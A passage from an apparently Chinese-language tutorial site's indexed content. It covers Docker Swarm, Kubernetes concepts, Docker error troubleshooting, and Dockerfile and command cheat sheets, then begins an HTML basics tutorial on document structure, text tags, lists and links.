--update-parallelism\u002F--update-delay\u002F--update-failure-action rollback 三个参数决定；--constraint（node.labels.*）做放置约束，--limit-cpu\u002F--limit-memory 让调度器算得准。 overlay 网络的 --attachable 是让单机 docker run 也能加入这个网络（不加则只有 service 能进），排障时非常需要。stack 则是「把 Compose 文件部署成 Swarm 服务」： docker stack deploy -c compose.yaml -c compose.prod.yaml shop\ndocker stack services shop\ndocker stack rm shop stack deploy 只支持 Compose 规范的一个子集：build 被忽略（镜像必须先在 registry）、ports 只能用目标模式、container_name\u002Fvolumes_from\u002Fnetwork_mode: host 不支持、depends_on 被忽略（服务是无顺序的集合）。这几条限制解释了为什么生产上「Compose 文件不等于 Swarm 文件」，需要单独维护。",{"id":131141,"title":59672,"titles":131142,"content":131143,"level":357},"\u002Ftutorials\u002Fdocker#kubernetes-与-docker-的关系dockershim-为什么被移除",[45617,59181],"时间线：K8s 需要一个能「按 CRI 接口管理容器生命周期」的运行时。Docker Engine 不实现 CRI，于是社区写了 dockershim（kubelet 里的翻译层，把 CRI 调用转成 Docker API）。因为维护成本高、行为与 Docker 强耦合，K8s 1.24 起把它从 kubelet 移除。 三个常被误解的事实： 不是「K8s 不支持 Docker 了」。Docker 构建的镜像是标准 OCI 镜像，K8s 照样跑；docker build\u002Fdocker compose（本地开发）继续可用。 K8s 用的是 containerd（正是第一章架构图里 Docker 下面的那一层，第二章）或 CRI-O——Docker 自己也是通过 containerd 跑容器，移除的只是最上面那层 shim。 生态定位：containerd 是库\u002F守护进程（被 Docker、K8s、Singularity 复用）；CRI-O 是专为 K8s 实现的轻量 CRI 运行时；Podman 是无 daemon、可 rootless、CLI 与 Docker 兼容的替代（alias docker=podman 通常就能用，podman compose\u002Fpodman play kube 走 Compose\u002FK8s 文件）；nerdctl 是 containerd 的 Docker 兼容 CLI，常用于 buildx 风格的本地构建。 概念对照表（迁移时最有用的东西）： Compose Kubernetes 说明 services 的一个服务 Deployment（+ ReplicaSet + Pod） K8s 的最小单元是 Pod（可多容器共享 net\u002FIPC，对应「sidecar」） ports \u002F expose Service（ClusterIP\u002FNodePort\u002FLoadBalancer）+ Ingress\u002FGateway 名字即 DNS，跨命名空间用 svc.ns.svc.cluster.local networks Namespace + NetworkPolicy 默认全通，靠 NetworkPolicy 收紧（对应第十二章的 internal） volumes 命名卷 PV \u002F PVC + StorageClass 「谁拥有存储」变成集群对象，跨节点可挂 bind mount hostPath（几乎不该用） 需要它通常说明架构有问题 depends_on + healthcheck initContainer + readiness\u002Fliveness\u002Fstartup probe readiness 决定「进不进 Service 端点」，比 unhealthy 不重启前进一大步 scale \u002F --scale spec.replicas + HPA 自动扩缩是控制器，不是命令 environment \u002F env_file ConfigMap + Secret（envFrom） Secret 默认只是 base64，不是加密；要信封加密或外部密钥系统 configs ConfigMap 挂载 对应「只读挂配置目录」（第十三章） restart: unless-stopped 由 kubelet\u002F控制器保证，无需声明 Pod 挂了自动重建，这是编排层最大差异 profiles 无直接对应（用不同清单\u002FHelm values） docker compose up kubectl apply -f 声明式对齐这一思想一致",{"id":131145,"title":59924,"titles":131146,"content":131147,"level":357},"\u002Ftutorials\u002Fdocker#什么时候真的需要编排",[45617,59181],"需要：多台机器且要自动分布与 failover、副本数会随负载变化、多团队共享集群、需要滚动发布与自动回滚、需要 RBAC 与审计、有状态服务要跨节点存储。 不需要：单机或两三台、服务数量个位数、变更频率低、团队没有 K8s 运维经验（这条最重要——K8s 的运维成本会吃掉它的收益）。中间态「Swarm 或 Compose + 一个反代 + 外部健康检查」常常是最优解。工程上的正确姿势是：先把应用做成容器友好的（第十三章无状态、配置注入、优雅停机、健康检查），这时上不上编排都是可逆决定；反过来，用一个「什么都做不了」的有状态容器去换 K8s，只会把问题从部署搬到运维。",{"id":131149,"title":59942,"titles":131150,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十八排障与速查报错原文原因与命令",[45617],{"id":131152,"title":59946,"titles":131153,"content":131154,"level":357},"\u002Ftutorials\u002Fdocker#报错-原因-怎么办",[45617,59942],"报错原文（片段） 真实原因 怎么办 Cannot connect to the Docker daemon at unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock. Is the docker daemon running? daemon 没起 \u002F socket 路径不对 \u002F 远程上下文指错 systemctl status docker；docker context ls；ls -l \u002Fvar\u002Frun\u002Fdocker.sock；Desktop 用户先看图标是否在跑 permission denied while trying to connect to the Docker daemon socket 当前用户不在 docker 组，或加了组没重新登录 getent group docker；usermod -aG docker $USER 后重登（第二章），或 newgrp docker no space left on device 宿主磁盘满（多半是容器日志或镜像层），或 tmpfs\u002Fshm 小 df -h + docker system df；先清 docker builder prune、日志（第十六章）、旧镜像；shm_size 单独调 Error response from daemon: driver failed programming external connectivity ... port is already allocated 宿主端口被别的容器\u002F进程占（第八章四步） docker ps --format 找占用者；ss -lntp 找宿主进程；僵尸 docker-proxy 靠重启 docker exec format error 镜像架构与宿主不符（amd64 镜像跑在 ARM） docker image inspect --format '{{.Os}}\u002F{{.Architecture}}'；用 --platform 拉对应架构或构建多架构（第五章） Error: No such image: xxx:tag \u002F image with reference ... was not found 构建失败没产出 tag \u002F 名字或 tag 拼错 \u002F 用了 --output type=oci 没 --load docker images 核对；docker build 加 --progress=plain 看是否真的成功；buildx 记得 --load 或 --push pull access denied for xxx \u002F repository does not exist or may require 'docker login' 私有仓库未登录 \u002F 名字少了 registry 前缀 \u002F 镜像确实不存在 docker login \u003Cregistry>；补全 ghcr.io\u002F、localhost:5000\u002F 前缀（第十章）；确认命名空间大小写 toomanyrequests: You have reached your pull rate limit Docker Hub 匿名限额（第十章） CI 登录、把基础镜像同步到自建 registry、加缓存 error during connect: ... open \u002F\u002F.\u002Fpipe\u002Fdocker_engine: The system cannot find the file specified（Windows\u002FmacOS） Docker Desktop 的 VM 没起来 \u002F 命名管道丢失 \u002F WSL2 未启用 启动 Desktop 等到图标稳定；docker context use desktop-linux；wsl --update；确认 BIOS 虚拟化 Error response from daemon: container ... is not running 对已停止容器执行 exec\u002Fstats 先 docker ps -a 看状态 → logs → --entrypoint sh 手工跑（第七章三步法） OCI runtime create failed: ... apply cgroup \u002Fsys\u002Ffs\u002Fcgroup\u002F... cgroup 驱动冲突（systemd vs cgroupfs）、cgroup v1\u002Fv2 不匹配、或宿主 systemd 版本与 docker 不兼容 docker info 看 Cgroup Driver\u002FVersion；统一驱动；宿主重启后残留 cgroup 未清理时重启 docker docker: 'compose' is not a docker command 装的是 v1 独立二进制，或 CLI 插件目录缺失 docker compose version 失败则装 docker-compose-plugin；旧环境用 docker-compose（带横线）；Linux 检查 ~\u002F.docker\u002Fcli-plugins\u002F network ... not found 网络被 down 删了但容器还在引用，或用了默认网络名 docker network ls；重建网络并 network connect；Compose 项目名变了（第十一章） failed to start daemon: error initializing network allocator: invalid IPv4 network default-address-pools 与宿主网段冲突 daemon.json 调整 bip\u002Fdefault-address-pools 避开 192.168.x error while mounting volume: permission denied bind mount 源目录 SELinux\u002FAppArmor 拦或属主不符（第九章） 加 :z\u002F:Z（SELinux）；对齐 UID；rootless 检查 subuid 容器起来就 Exited (1)，logs 空白 启动即失败且错误写进了文件而非 stdout；或 CMD 不是前台进程 logs --tail 50 → --entrypoint sh 手工跑 → docker inspect .Path .Args 核对命令（第七、十三章） 容器起来就 Exited (137) OOM、docker kill、或 stop 超时（第十四章） inspect 看 OOMKilled；调 -m；看是否 swap 语义写错",{"id":131156,"title":60348,"titles":131157,"content":131158,"level":357},"\u002Ftutorials\u002Fdocker#dockerfile-指令速查表",[45617,59942],"指令 一句话语义 进数据层？ 最常犯的错 FROM 起点\u002F阶段 — 用 latest；忘写 AS 名字 ARG 构建期变量 否 当密钥用；FROM 后忘记重新声明 ENV 构建+运行期变量 元数据 当密钥用；放在第一层导致全失效 COPY 复制上下文文件 是 不放 .dockerignore；写太靠前击穿缓存 ADD 复制 + 自动解压 tar + 拉 URL 是 用它下载（无法清缓存、不校验） RUN 执行命令生成一层 是 多条 apt-get 分开写；rm 前一层的东西 WORKDIR 设置后续相对路径 元数据 用 RUN cd 代替；用相对\u002F~ 路径 USER 切换身份 元数据 放太靠前导致后续装包失败；写用户名不写 UID VOLUME 声明挂载点 元数据 以为它会保留数据；构建期写该目录内容被丢 EXPOSE 文档化端口 元数据 以为它真的开了端口 LABEL 元数据 元数据 放动态值（commit 号）击穿缓存 HEALTHCHECK 自证可用 元数据 不设 start-period；检查打到 127.0.0.1 之外的地址 CMD 默认参数\u002F命令 元数据 用 shell 形式导致 PID 1 收不到信号（第十六章） ENTRYPOINT 主命令 元数据 与 CMD 语义混用；run 传参被整条替换 SHELL 改默认 shell 元数据 切 bash 后镜像里没有 bash #syntax= 选 BuildKit 前端 — 没放在文件最前面 顺序铁律：变化频率从低到高，COPY . . 尽量靠后、元数据指令（ENV\u002FEXPOSE\u002FCMD\u002FENTRYPOINT\u002FUSER）放最后。",{"id":131160,"title":60649,"titles":131161,"content":131162,"level":357},"\u002Ftutorials\u002Fdocker#命令速查六组",[45617,59942],"docker build -t repo\u002Fapp:1.0.0 --pull --no-cache-filter deps .\ndocker buildx build --platform linux\u002Famd64,linux\u002Farm64 -t repo\u002Fapp:1.0.0 --push .\ndocker images; docker image inspect img; docker history --no-trunc img\ndocker pull repo\u002Fapp:1.0.0@sha256:...; docker tag a b; docker push b\ndocker save -o a.tar img; docker load -i a.tar\ndocker rmi img; docker image prune -a --filter until=336h docker run -d --name app --restart unless-stopped -p 127.0.0.1:8080:3000 \\\n  -e TZ=Asia\u002FShanghai --env-file .env.prod -v app-data:\u002Fsrv\u002Fapp\u002Fdata \\\n  --network shop-net --init --read-only --tmpfs \u002Ftmp \\\n  --memory 512m --memory-swap 512m --cpus 1.5 --pids-limit 256 \\\n  --user 1001:1001 --cap-drop ALL --security-opt no-new-privileges img:1.0.0\ndocker ps -a; docker start\u002Fstop\u002Frestart\u002Fkill\u002Fpause\u002Funpause\u002Frm [-f] app\ndocker container prune; docker container ls --filter ancestor=img:1.0.0\ndocker logs -f --since 10m --timestamps app; docker stats --no-stream\ndocker top app; docker diff app; docker events --since 1h --filter event=die\ndocker exec -it app sh; docker cp app:\u002Fpath .\u002F; docker inspect --format '{{.State.Status}}' app\ndocker run --rm -it --entrypoint sh img -c 'node server.js' docker network create --driver bridge --subnet 172.28.0.0\u002F16 shop-net\ndocker network connect [--alias api] shop-net app; docker network disconnect shop-net app\ndocker network ls; docker network inspect shop-net; docker network rm shop-net\ndocker network prune docker volume create --name db-data --opt type=nfs --opt o=addr=...,rw --opt device=:\u002Fsrv\u002Fnfs\ndocker volume ls; docker volume inspect db-data; docker volume rm db-data\ndocker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine tar czf \u002Fbackup\u002Fdb.tar.gz \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\ndocker run -d --mount type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata postgres:16.4\ndocker run -d -v .\u002Fconf:\u002Fetc\u002Fapp:ro nginx:1.27-alpine          # bind mount\ndocker run -d --mount type=tmpfs,tmpfs-size=64m,target=\u002Frun app img:1.0.0 docker compose config                                      # 排错第一步\ndocker compose -f compose.yaml -f compose.prod.yaml up -d --build --force-recreate\ndocker compose ps; docker compose logs -f --tail 100 api\ndocker compose exec api sh; docker compose run --rm migrate node scripts\u002Fmigrate.js\ndocker compose up -d --scale api=3 --profile debug\ndocker compose stop; docker compose down            # 数据保留\ndocker compose down -v --remove-orphans             # -v 删卷，先想清楚 docker system df                # 动手清理前先看这个\ndocker builder prune; docker container prune; docker image prune\ndocker system prune                        # 相对安全：只清已停止\u002F悬空\u002F未用网络\ndocker system prune -a --volumes           # 高危：删所有未引用镜像与卷\ndocker login ghcr.io -U user --password-stdin; docker logout ghcr.io\ndocker manifest inspect img:1.0.0; docker buildx inspect --bootstrap 示例 18 是全教程的收口演练：给出一批真实报错原文，每张卡片对应「先跑哪条命令、看到什么、结论是什么」，点按钮按顺序走完一次线上排障。 回望这十八章：第一到三章解释了「为什么容器能到处跑」，四到五章是造镜像的手艺，六到九章是让一个容器活着并把数据留住，十章解决镜像从哪来，十一到十三章把单容器扩展成一组服务，十四到十五章谈限制与加固，十六章把「能跑」变成「敢上生产」，十七到十八章给出更大规模的答案与出事时的路线。接下来的提升没有捷径：把 \u002Fsrv\u002Fshop 这个例子自己敲一遍，然后用 docker system df 和 docker history 去观察每一个决定留下的痕迹。 html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}",{"id":129955,"title":122491,"titles":131164,"content":129953,"level":334},[],{"id":131166,"title":122497,"titles":131167,"content":131168,"level":341},"\u002Ftutorials\u002Fhtml#一html-是什么你的第一个页面",[122491],"HTML 不是编程语言，而是标记语言：它用一对对尖括号包裹的「标签」告诉浏览器，某一段文字是标题、某一段是段落、某一张图可以点开。理解这一点，后面所有标签的学习都会变成「这个标签表达什么含义」的问题，而不是「这个标签怎么写样式」的问题——样式是 CSS 的事。",{"id":131170,"title":122507,"titles":131171,"content":131172,"level":357},"\u002Ftutorials\u002Fhtml#浏览器把一个文件变成画面的过程",[122491,122497],"你在地址栏输入一个 .html 文件，浏览器大致做四件事： 拿到字节流：按 \u003Cmeta charset> 声明的编码（通常是 UTF-8）把字节解码成文字。声明写错，中文就会变成「æ¬å」这类乱码。 解析成节点树：逐字符读标签，遇到 \u003Cp> 就开一个节点，遇到 \u003C\u002Fp> 就闭合，层层嵌套形成「DOM 树」。树根是 html 节点。 构建渲染树：结合 CSS 决定哪些节点可见、以什么顺序和位置排布。 绘制到屏幕：按层叠顺序一笔画一画涂出来。 这条链路解释了后面会反复遇到的两个现象：标签嵌套顺序决定结构，而书写顺序不决定视觉层级（那是 CSS 定位的事）。",{"id":131174,"title":122567,"titles":131175,"content":131176,"level":357},"\u002Ftutorials\u002Fhtml#一个页面由三部分拼起来",[122491,122497],"任何 HTML 文件都可以拆成三层，先看最小可用版本： \u003C!DOCTYPE html>\n\u003Chtml lang=\"zh-CN\">\n  \u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Ctitle>我的第一个网页\u003C\u002Ftitle>\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Ch1>我的第一个网页\u003C\u002Fh1>\n    \u003Cp>这一行是段落。\u003C\u002Fp>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml> \u003C!DOCTYPE html>：告诉浏览器「按现代标准模式渲染」，第二章细说。 \u003Chead>：给浏览器和搜索引擎看的元信息，标题、编码、样式表引用都放这里，不会显示在页面正文里。 \u003Cbody>：给人看的全部内容，页面上你看到的每一个字都在这个标签内部。 新手最容易混淆的是 \u003Ctitle> 与 \u003Ch1>：前者出现在浏览器标签页和搜索结果里，后者出现在页面正文顶部。两者都要写，作用完全不同。",{"id":131178,"title":122728,"titles":131179,"content":131180,"level":357},"\u002Ftutorials\u002Fhtml#写下你的第一个文件",[122491,122497],"准备一个空文件夹，用任意文本编辑器（记事本、VS Code 都行）新建 index.html，把上面那段代码粘进去，保存后双击文件，它就会在自己的浏览器里打开。 改一行 \u003Cp> 里的文字，保存，回到浏览器按刷新——这就是 HTML 的开发循环，不需要任何编译工具。把文件拖进 VS Code 再按 F1 搜「Open with Live Server」（需装插件）可以省掉手动刷新。 下面这个框里就是上面那段代码的真实渲染结果，右边目录的小节、左侧的章节导航，以及正文里所有类似的可运行示例，都是独立文件，点「在新标签页打开」可以单独查看：",{"id":131182,"title":122759,"titles":131183,"content":131184,"level":357},"\u002Ftutorials\u002Fhtml#接下来往哪走",[122491,122497],"从第二章开始按顺序推进：先解决「文件为什么这么开头」（文档结构），再补齐文字、列表、链接、图片、表格、表单这些内容型标签，然后进入结构型标签与语义化，最后是可访问性、SEO 与综合实战。每一章都配可运行示例，看懂了就用，忘了就回来查——正文左侧是章节目录，也可以在搜索框里直接输标签名（例如 table）定位到讲它的那一节。",{"id":131186,"title":122777,"titles":131187,"content":131188,"level":341},"\u002Ftutorials\u002Fhtml#二文档结构与-doctype",[122491],"第一章的最小示例里有四个容易被跳过但不该跳过的部分：\u003C!DOCTYPE html>、\u003Chtml lang>、\u003Chead>、\u003Cmeta charset>。它们不产出任何可见内容，却决定了页面「被怎么解读」。",{"id":131190,"title":122794,"titles":131191,"content":131192,"level":357},"\u002Ftutorials\u002Fhtml#doctype-决定浏览器用哪套规则排版",[122491,122777],"\u003C!DOCTYPE html> 不是标签，而是一条处理指令，作用只有一个：让浏览器进入「标准模式（standards mode）」。 在 2000 年前后，浏览器为了兼容当年写得很不规范的网页，保留了两套排版引擎行为。没有 DOCTYPE（或写法是老式的一长串）时，浏览器会退回「怪异模式（quirks mode）」，其中的差异至今还能测出来： 怪异模式下元素的 box-sizing 行为、表格里的字体继承、\u003Cimg> 的基线对齐都与标准模式不同； 最直观的一条：标准模式下 html { height: 100% } 才让百分比高度逐级生效，怪异模式里同样的写法可能得到 0 高度。 现代写法只有一种，且必须放在文件最前面（前面除了空白和注释不能有任何内容，否则浏览器会当成文本节点渲染到页面上）： \u003C!DOCTYPE html> 看到搜索结果里有 \u003Cmeta name=\"generator\" content=\"FrontPage.Editor.1\"> 这类古董 DOCTYPE 的教程，可以直接关掉那个页面——它们教的正是怪异模式。",{"id":131194,"title":122857,"titles":131195,"content":131196,"level":357},"\u002Ftutorials\u002Fhtml#htmlheadbody-各自负责什么",[122491,122777],"\u003Chtml lang=\"zh-CN\">\n  \u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    \u003Ctitle>页面标题，出现在标签页和搜索结果里\u003C\u002Ftitle>\n    \u003Clink rel=\"stylesheet\" href=\"style.css\">\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Ch1>正文从这开始\u003C\u002Fh1>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml> 三条边界值得记住： \u003Chead> 里放的是「关于页面的信息」：编码、标题、样式表、图标、SEO 元信息。\u003Chead> 里出现 \u003Cp>、\u003Ch1> 这类可见元素是不合法的，浏览器会把它「揪」到 body 开头，导致难以排查的错位。 \u003Cbody> 里放全部可见内容，且一个文档只能有一个 \u003Cbody>。 \u003Chtml> 是根节点，所有 CSS\u002FJS 操作 DOM 时面对的树根就是它；lang 写在它上面才能被辅助技术和浏览器识别（第十七、十八章会再用到这一点）。 浏览器解析时会自动补全缺失标签：即使你只写 \u003Cbody> 内容而不写 \u003Chtml>，DevTools 里的 Elements 面板仍然显示完整的树。但「浏览器能补救」不等于「写错了没代价」——补救规则让结构推断变得不可预期，也让别人接手时读不出意图。",{"id":131198,"title":123052,"titles":131199,"content":131200,"level":357},"\u002Ftutorials\u002Fhtml#charset-与-lang两个必须显式声明的属性",[122491,122777],"\u003Cmeta charset=\"UTF-8\"> 声明字节到文字的解码方式。它有两个实操要点： 位置要尽量靠前，且在 \u003Ctitle> 之前。浏览器为了省时间，只会读取文档开头的有限字节来找编码声明；放得太晚，标题就可能乱码。 声明只管「浏览器怎么读」，文件本身也得真的存成 UTF-8。VS Code 右下角能看到并修改当前编码；用记事本保存时选「UTF-8」。声明与实际编码不一致，改声明没用，改存储编码才有用。 lang 的取值是 BCP 47 语言标签：简体中文 zh-CN、繁体中文 zh-TW、英文 en、日文 ja。它影响屏幕阅读器发音、浏览器翻译提示、连字与换行规则（CSS 的 :lang() 选择器也读它，CSS 教程的选择器一章里会用到）。 下面这个示例把本节要点都放进去了，右上角可以直接看它自己的 \u003Chead> 写了什么：",{"id":131202,"title":123116,"titles":131203,"content":131204,"level":357},"\u002Ftutorials\u002Fhtml#常见报错与自查",[122491,122777],"现象 大概率原因 怎么确认 中文变乱码 文件实际编码不是 UTF-8 编辑器右下角看编码，另存为 UTF-8 页面顶部多出一行文字 DOCTYPE 前后有内容，或首行漏写 查看源码第一行是否为 \u003C!DOCTYPE html> 百分比高度不生效、间距莫名 浏览器进了怪异模式 DevTools Console 输入 document.compatMode，标准模式返回 CSS1Compat，怪异模式返回 BackCompat 屏幕阅读器读中文很怪 \u003Chtml> 上没有 lang 查看源码 \u003Chtml> 标签",{"id":131206,"title":123200,"titles":131207,"content":131208,"level":341},"\u002Ftutorials\u002Fhtml#三文本与段落标签",[122491],"从这一章起进入「内容型标签」。判断一个标签该不该用，先问：它表达的是结构含义还是视觉效果？前者归 HTML，后者归 CSS。",{"id":131210,"title":123215,"titles":131211,"content":131212,"level":357},"\u002Ftutorials\u002Fhtml#pbrhr-的分工",[122491,123200],"\u003Cp> 是「一个语意段落」，浏览器默认给它上下外边距。段落之间空一行是排版结果，不是你把回车敲出来的。 \u003Cbr> 只表示「同一句话内部必须换行」，典型场景是地址、诗歌、签名。它不产生新段落，所以段间距不会变大。 \u003Chr> 表示「主题转换的分隔」，比如一章结束、话题跳到另一个。它语义上有意义，不是装饰线——想画一条线请交给 CSS 的 border。 HTML 会把源码里连续的空白字符（空格、制表符、回车）折叠成一个空格，这叫空白折叠。所以你在 \u003Cp> 里敲十个回车也不会出现空行。想保留原始空白要用 \u003Cpre>（它还保留缩进，常用于代码块），想要真正的空格请用实体 &nbsp;。 下面这个示例把这三条都做实了，包括「空白折叠验证」和 \u003Cpre> 的对比：",{"id":131214,"title":123271,"titles":131215,"content":131216,"level":357},"\u002Ftutorials\u002Fhtml#h1h6层级不是字号",[122491,123200],"六个标题标签构成文档的大纲，屏幕阅读器和浏览器的「页面概览」都读它。规则只有两条： 一页可以有多个 \u003Ch1>，但通常只放一个（页面主标题），从 \u003Ch2> 开始往下分章节。 不要跳层级：h2 之后直接写 h4 会在大纲里留下空洞。 新手最常见的错误是「觉得这行字要小一点，所以用 h5」。层级和字号是两件事，字号交给 CSS 改；用错层级只是把可访问性弄坏了。",{"id":131218,"title":123316,"titles":131219,"content":131220,"level":357},"\u002Ftutorials\u002Fhtml#strongem-与-bi-的语义差别",[122491,123200],"标签 含义 屏幕阅读器 默认视觉 \u003Cstrong> 内容重要 加重语气播报 加粗 \u003Cem> 语气重音 换语调播报 斜体 \u003Cb> 仅视觉偏移（产品名、关键词） 不特别处理 加粗 \u003Ci> 仅视觉偏移（术语、外文、物种拉丁名） 不特别处理 斜体 判断办法：如果把这段文字的强调效果去掉，意思有没有变？变了就是 strong\u002Fem，没变就是 b\u002Fi，而纯粹「想让它显眼」应该用 CSS。",{"id":131222,"title":123416,"titles":131223,"content":131224,"level":357},"\u002Ftutorials\u002Fhtml#代码引用与其余文本标签",[122491,123200],"正文里还有几个高频标签值得一次记牢： \u003Ccode> 行内代码，通常包在 \u003Cpre> 里做成代码块：\u003Cpre>\u003Ccode>…\u003C\u002Fcode>\u003C\u002Fpre>。 \u003Cabbr title=\"Document Object Model\">DOM\u003C\u002Fabbr> 首次出现的缩写给它全称，鼠标悬停和读屏都能拿到。 \u003Cblockquote> 引用整段，\u003Cq> 引用句内；\u003Ccite> 标出处。 \u003Cdel> \u002F \u003Cins> 标删除与插入（价格改动、修订记录），带语义而非单纯划线。 \u003Cs> 表示「已不准确」，跟 \u003Cdel>（内容被删除）不同。 \u003Csub> \u002F \u003Csup> 下标上标，H\u003Csub>2\u003C\u002Fsub>O。 \u003Ctime datetime=\"2026-10-03\">10 月 3 日\u003C\u002Ftime> 给人看中文日期，给机器读 ISO 格式，搜索引擎会用它。",{"id":131226,"title":123493,"titles":131227,"content":314,"level":341},"\u002Ftutorials\u002Fhtml#四列表",[122491],{"id":131229,"title":123497,"titles":131230,"content":131231,"level":357},"\u002Ftutorials\u002Fhtml#ul-与-ol顺序有没有意义",[122491,123493],"判断只需一个问题：换一个顺序，内容还成立吗？ 不成立（安装步骤、排行榜、法律条款编号）→ \u003Col>，序号本身携带信息。 成立（特性清单、导航项、标签云）→ \u003Cul>。 \u003Col> 的三个属性很实用：type=\"A|a|I|i|1\" 换编号样式，start=\"5\" 指定起始序号，reversed 倒序。给单个 \u003Cli> 写 value=\"10\" 可以插入自定义序号。 圆点和数字都由 CSS 的 list-style 控制，「不想要圆点」不是放弃 \u003Cul> 的理由——写 list-style: none 即可，语义保留。",{"id":131233,"title":123560,"titles":131234,"content":131235,"level":357},"\u002Ftutorials\u002Fhtml#嵌套列表的正确位置",[122491,123493],"嵌套的唯一规则：新的 \u003Cul> 或 \u003Col> 必须放在父 \u003Cli> 内部、文本之后、\u003C\u002Fli> 之前。 \u003Cul>\n  \u003Cli>支持 UTF-8\n    \u003Cul>\n      \u003Cli>中文标题不乱码\u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fli>\n  \u003Cli>支持表格\u003C\u002Fli>\n\u003C\u002Ful> 如果误把子列表写在 \u003C\u002Fli> 之后，它会变成和父列表同级，缩进全乱——而且浏览器不会报错，这是最难自查的一类问题。",{"id":131237,"title":123666,"titles":131238,"content":131239,"level":357},"\u002Ftutorials\u002Fhtml#dldtdd术语表专用",[122491,123493],"\u003Cdl> 是「描述列表」，\u003Cdt> 名词、\u003Cdd> 解释，适合 API 参数表、FAQ、词典条目。一个 \u003Cdt> 可以跟多个 \u003Cdd>（一词多义），也可以多个 \u003Cdt> 共用一个 \u003Cdd>（多词一义）。用 \u003Cp> 假装术语表是常见错误，因为它丢掉了「这是配对关系」的结构信息。",{"id":131241,"title":123702,"titles":131242,"content":131243,"level":357},"\u002Ftutorials\u002Fhtml#列表的三处常见误用",[122491,123493],"用 \u003Cbr> 或连续 \u003Cp> 堆清单——读屏会播报「列表，共 3 项」，帮你数位置，堆出来的没有。 站内导航写成 \u003Cdiv>\u003Ca>。导航的正确形状是 \u003Cnav> + \u003Cul> + \u003Cli> + \u003Ca>，第九章展开。 表格数据用列表写、列表用 \u003Ctable> 写。判断标准：横竖都有对应关系、需要表头才能读懂 → 表格；否则列表。第七章细说。",{"id":131245,"title":123740,"titles":131246,"content":131247,"level":341},"\u002Ftutorials\u002Fhtml#五超链接-a",[122491],"\u003Ca> 是 HTML 里唯一让「文档」变成「网络」的标签——href 指向另一个位置，浏览器就把两张图连成一条边。",{"id":131249,"title":123752,"titles":131250,"content":131251,"level":357},"\u002Ftutorials\u002Fhtml#href-的四种路径写法",[122491,123740],"假设当前页面在 \u002Fblog\u002F2026\u002Fintro.html： 写法 实际指向 什么时候用 other.html \u002Fblog\u002F2026\u002Fother.html 同目录跳转 ..\u002Fimg\u002Fa.png \u002Fblog\u002Fimg\u002Fa.png 往上退一级 \u002Fimg\u002Fa.png 站点根下的 \u002Fimg\u002Fa.png 最推荐，与当前页层级无关 https:\u002F\u002Fsite.com\u002Fx 站外 真的去站外时 .\u002F 开头等于当前目录，可省略。以 \u002F 开头的路径最稳，因为「跟着目录跑」的相对路径在部署到子目录后极易断链。本站部署在 \u002Fnuxt\u002F 子路径下，教程里的示例统一用带前缀的站内绝对路径。",{"id":131253,"title":123853,"titles":131254,"content":131255,"level":357},"\u002Ftutorials\u002Fhtml#页内锚点id-是跳转目标",[122491,123740],"任何元素只要有 id，就能被 #那个id 定位： \u003Ch2 id=\"pricing\">价格\u003C\u002Fh2>\n\u003Ca href=\"#pricing\">跳到价格\u003C\u002Fa> 跨页锚点把两者拼起来：\u002Ftutorials\u002Fhtml#表格。旧教程里的 \u003Ca name=\"x\"> 已过时，一律改用 id。 注意：锚点跳转是浏览器行为，CSS 的 scroll-behavior: smooth 可以让它平滑滚动，被跳转的标题需要 scroll-margin-top 才不会被吸顶导航遮住——这两条都属于 CSS，写在样式里而不是 JS。",{"id":131257,"title":123940,"titles":131258,"content":131259,"level":357},"\u002Ftutorials\u002Fhtml#target-与-rel新标签页必须带-noopener",[122491,123740],"\u003Ca href=\"https:\u002F\u002Fexample.com\" target=\"_blank\" rel=\"noopener\">外部站点\u003C\u002Fa> target=\"_blank\" 会让被打开的页面在旧浏览器里拿到 window.opener，从而能反向修改你本页地址（tabnabbing）。现代浏览器已对 _blank 隐含 noopener，但显式写出更保险。加上 noreferrer 还会禁止发送来源信息，代价是对方统计里看不到你。 两条实践约定： 站内链接不要加 target=\"_blank\"：它切断返回路径，也多占一个标签页。 下载链接、PDF 之类需要保留当前页时才用新标签页。",{"id":131261,"title":124017,"titles":131262,"content":131263,"level":357},"\u002Ftutorials\u002Fhtml#链接文字要能被脱离上下文读懂",[122491,123740],"\u003Ca>点击这里\u003C\u002Fa> 是反例：读屏用户逐个链接浏览时只听到一串「点击这里」。把链接嵌在能独立表意的短语上： \u003Cp>具体配置项见\u003Ca href=\"\u002Fdocs\u002Fconfig\">配置文件说明\u003C\u002Fa>。\u003C\u002Fp> 同理，href=\"#\" 的空链接会让页面滚回顶部且没有任何语义，纯按钮行为应该用 \u003Cbutton>（第十章），不要拿 \u003Ca> 